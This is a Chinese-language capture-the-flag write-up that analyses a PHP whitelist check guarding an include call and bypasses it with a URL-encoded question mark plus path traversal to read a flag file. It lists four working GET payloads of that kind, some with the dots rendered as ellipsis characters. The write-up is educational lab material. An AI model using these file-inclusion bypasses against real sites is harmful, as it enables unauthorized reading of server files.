打开以后发现是一个jpg图片,查看源代码
发现被注释掉的source.php
发现了,因为high_file而被泄漏的源代码
发现除了source.php,还有hint.php
我们知道了flag在ffffllllaaaagggg中
接着我们来分析代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist ["source"=>"source.php","hint"=>"hint.php"]; //白名单列表,可以查看source.php和hint.php
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} //检验是否传入了page值
A if (in_array($page, $whitelist)) {
return true;
} //检验page的值是否在白名单里
$_page = mb_substr($page,0,mb_strpos($page . '?', '?')); //$page . '?'将page的值后面补了一个问号,通过mb_strpos得到了page中到第一个问号前的长度,并通过mb_substr将此部分赋值给_page
B if (in_array($_page, $whitelist)) {
return true;
} //检验_page是否在白名单中
$_page = urldecode($page); //将_page解码
$_page = mb_substr($_page,0,mb_strpos($_page . '?','?')); //同上上步的操作
C if (in_array($_page, $whitelist)) {
return true;
} //检验是否在白名单中
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { /*是否传入了file的值,file的值是否为字符串,将file的值放到emmm.checkFile中检验*/
include $_REQUEST['file']; //如果成立,包含file
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
整体看过代码后,我们知道,如果有file值的传入,且file为字符串,而且通过了checkFile的验证,则将file文件包含。
那么我们的目的肯定是包含ffffllllaaaaggg
但发现,如果要通过checkfile的验证,叁个if return true的条件皆要使file或file的部分(因为有被截取的_page)为白名单中的source.php或hint.php。
在这里,我们就需要一个知识点
(此图片来自https://www.likecs.com/show-355785.html)
即,当include后的文件找不到且有路径时,会沿此路径一直找,直到找到文件
我先给出payload(get方式),有四种:
一:?file=hint.php%3f/…/…/…/…/ffffllllaaaagggg
二:?file=hint.php%25%33%66/…/…/…/…/ffffllllaaaagggg(与这种相同的?file=hint.php%253f/…/…/…/…/ffffllllaaaagggg,只是在第二次url编码时,只将%编码了,实际上是一样的)
三:?file=source.php%3f/…/…/…/…/ffffllllaaaagggg
四:?file=source.php%25%33%66/…/…/…/…/ffffllllaaaagggg(第一种和第三种,第二种和第四种实质上是一样的)
如何理解呢
首先,url会自动解码一次
则到达checkfile处的:
一:file=hint.php?/…/…/…/…/ffffllllaaaagggg
二:?file=hint.php%3f/…/…/…/…/ffffllllaaaagggg
我们发现想要在第A个if处,就return ture 并且找到flag是不可能的
在第B个if处,经过前一步的mb_substr,_page变为 hint.php,所以return ture;
然后因为找不到,hint.php?,于是沿着路径四次返回上一层文件后访问ffffllllaaaaggg,找到了flag
这一层文件夹就是有source.php和hint.php的文件夹,所以第三,四种payload也能够访问flag
为什么我们会写出/…/…/…/…/ffffllllaaaagggg这个路径的,我承认我有赌的成分,但其实题目中的ffffllllaaaagggg给了提示,每个字母都四个
这时,我们就很容易理解为什么第三种payload也成立了,因为虽然在第B个if处,我们没能return ture,但是随后,又一次解码,得到file=hint.php?/…/…/…/…/ffffllllaaaagggg
$page . '?'后 page会连接一个问号变为hint.php?/…/…/…/…/ffffllllaaaagggg?
但是mb_strpos返回的是到第一个?的长度,即8
所以mb_substr截取的仍然是hint.php,于是return ture,后续就和上面的一样了